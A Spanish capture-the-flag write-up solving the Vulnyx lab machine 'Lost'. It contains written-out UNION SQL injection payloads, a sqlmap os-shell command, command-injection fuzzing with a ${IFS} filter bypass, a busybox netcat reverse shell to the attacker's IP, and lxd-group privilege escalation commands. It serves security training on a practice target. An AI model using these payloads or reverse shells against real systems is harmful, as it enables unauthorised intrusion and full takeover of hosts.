Lost - Vulnyx
Resolución de la maquina Lost de Vulnyx
Hola, ¿Esta listo para el CTF de hoy?
Pero antes gracias al creador de la maquina J4ckie0x17 y a la comunidad de Vulnyx por hacer esto posible.
Descripción de la maquina.
Sistema Operativo | Linux 🐧 |
Dificultad | Difícil |
Lanzamiento | 22/02/2024 |
Creador | |
Primer Usuario | suraxddq |
Primer Root | suraxddq |
Enumeración
Empezamos con un escaneo a todos sus puertos con nmap

Y vemos el 22, 80, aunque el puerto 80 hace mención de un dominio. Así que primero indicamos, que la IP de la maquina la asocie al dominio lost.nyx en el archivo /etc/hosts

Ahora si exploremos el servicio web.

Observemos el código fuente, para ver de que se trata.

Buenoo, aparte del vídeo, creo que tenemos una pista... Vamos a hacerle caso y enumeremos posibles subdominios, también realicemos un fuzzing.
Aun que del fuzzing, no obtuvimos nada:
gobuster dir -u http://lost.nyx/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 60 -x php,html,js,css,txt

Respecto a la enumeración de virtual hosting obtuvimos esto.
ffuf -fs 819 -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.lost.nyx" -u http://192.168.1.116

Bien, tenemos el subdominios dev, también lo agregaremos al /etc/hosts


Tenemos un pagina web, explorándola me tope con esto.

Al parecer, recibe un parámetro id para obtener detalles de un pasajero, así que probemos.

Sabiendo el resultado que nos muestra, vamos a probar algo.


Explotar este SQLi seria muy sencillo como sqlmap, pero lo haremos manual, le recomiendo este material para comprender mejor esta vulnerabilidad.
Inyección SQL Basada en Error
Para realizar dicha explotación, la medio explicare en pasos.
![MRW they told me I couldn't get to the front page with a curse word in my gif [OC] : r/reactiongifs](https://media.giphy.com/media/a3YeYzPL2SsEg/giphy.gif)
Paso 1: Enumerando la cantidad de columnas de la tabla.
Para esto podemos usar la clausula order by

Contamos con cuatro columnas en al consulta, ya que al colocar 5, provoca un error.

- Paso 2: Imprimiendo información
Ahora con la clausula UNION SELECT, podemos imprimir información de la DB en estas 4 columnas que enumeramos.

Como imprimir la DB en uso.
- Paso 3: Extraer las tablas.
http://dev.lost.nyx/passengers.php?id=1 union select table_name,2,3,4 from information_schema.tables where table_schema='lost'

- Paso 4: Extracción de columnas.
Para extraer los datos de una tabla debemos indicar que columnas queremos.
http://dev.lost.nyx/passengers.php?id=1 union select column_name,2,3,4 from information_schema.columns where table_schema = "lost" and table_name="users";-- -

- Paso 5: Extraer la información de la tabla.
http://dev.lost.nyx/passengers.php?id=1 union select username,salt,password,4 from users;

Teniendo en cuenta que al password se le aplico un salt, lo tenemos algo complicado, podemos intentar derivar esta SQLi a un RCE... Y aquí si llamaremos al señor sqlmap
sqlmap -u http://dev.lost.nyx/passengers.php?id=1 --os-shell
Con esto sqlmap, tratara de obtener una shell interactiva.

Y ahí lo tenemos, ahora nos enviaremos una shell reversa, la almacenamos en un shell.sh y montamos un servicio http.

Después descargamos la shell.sh en la maquina, nos ponemos en escucha y ejecutamos.


Y ahí lo tenemos.

Escalada de privilegios
Aquí tenemos a los usuarios del sistema.

Ahora me dispuse a explorar el sistema en busca de alguna escalada, hasta que me tope con esto.

El puerto 3000/TCP abierto, pero internamente. Para poder exponer este puerto podemos hacer un port forwarding con socat
socat TCP-LISTEN:<port_forwarding>,fork TCP:<ip_destination>:<port_destination>

Con esto podremos visualizar el servicio en el puerto 3001.


Funciona... Me imagino que toma el input y lo concatena al comando ping es decir algo así ping + input
Por lo tanto posiblemente podamos inyectar algún comando, por ejemplo un id

Pero vemos que no le gusta, al parecer limpia el input antes de hacer el ping. Vamos a probar con una lista de command-injection que puedes encontrar aqui.
Y nos queda algo así.

Aplicaremos un fuzzing con ffuf para enviar esta lista por POST.
ffuf -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "ip=FUZZ" -w command_injection.txt -u http://192.168.1.116:3001/ -fs=666
Y tenemos varios resultados, por ejemplo la cadena a|id que nos devolvió un tamaño diferente de las demás respuestas.

Así que probamos.

Y ahí lo tenemos, ya podemos ejecutar comandos, vamos a enviarnos una reverse shell. Estuve probando con algunas shell de https://www.revshells.com/ pero en su mayoría no me funcionaban. Hasta que provee con esta:

La mayoría de las reverse shell no funcionaban debido a que al autor de la maquina coloco algunos caracteres en lista negra, por ejemplo el
/
También pudo a ver funcionado esta reverse shell ya que no presenta ningún /, pero la maquina no cuenta con netcat instalado.

Y bueno, use busybox pero tampoco me funciono, por que hace falta reemplazar los espacios por ${IFS}
$IFSes una variable de shell especial, llamada Separador de campo interno. De forma predeterminada, en muchos shells contiene caracteres de espacio en blanco (espacio, tabulación, nueva línea). Cuando se usa en un comando, el shell interpretará$IFcomo un espacio.
Así que nos queda algo así.
busybox${IFS}nc${IFS}192.168.1.73${IFS}8003${IFS}-e${IFS}sh

Y ahí lo tenemos.

Observando el archivo que nos permitía hacer el ping, cuenta con algunas listas negras, por las cuales no teníamos respuesta de los intentos que realizábamos.

Siguiendo con la escalada, observamos que somos integrantes del grupo lxd

El cual podemos abusar de la siguiente forma, aquí lo explican.
Abusando del grupo lxd
Tenemos que descargar una imagen e instalarla de tal manera que tengamos como resultado un archivo .tar.gz
Este proceso debe de ser en nuestra maquina atacante.
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
sudo bash build-alpine

Pasamos el archivo a la maquina victima.

Y ejecutamos los siguiente.
# importamos la imagen
lxc image import <file.tar.gz> --alias alpine
# listamos la imagen para ver que se haya creado
lxc image list
lxc init alpine privesc -c security.privileged=true
# ponemos que la / raiz este en /mnt/root
lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc sh

Ahora solamente nos vamos a /mnt/root/ y tendremos todos los archivos y carpetas con permisos de root

Y eso fue todo, nos vemos!!


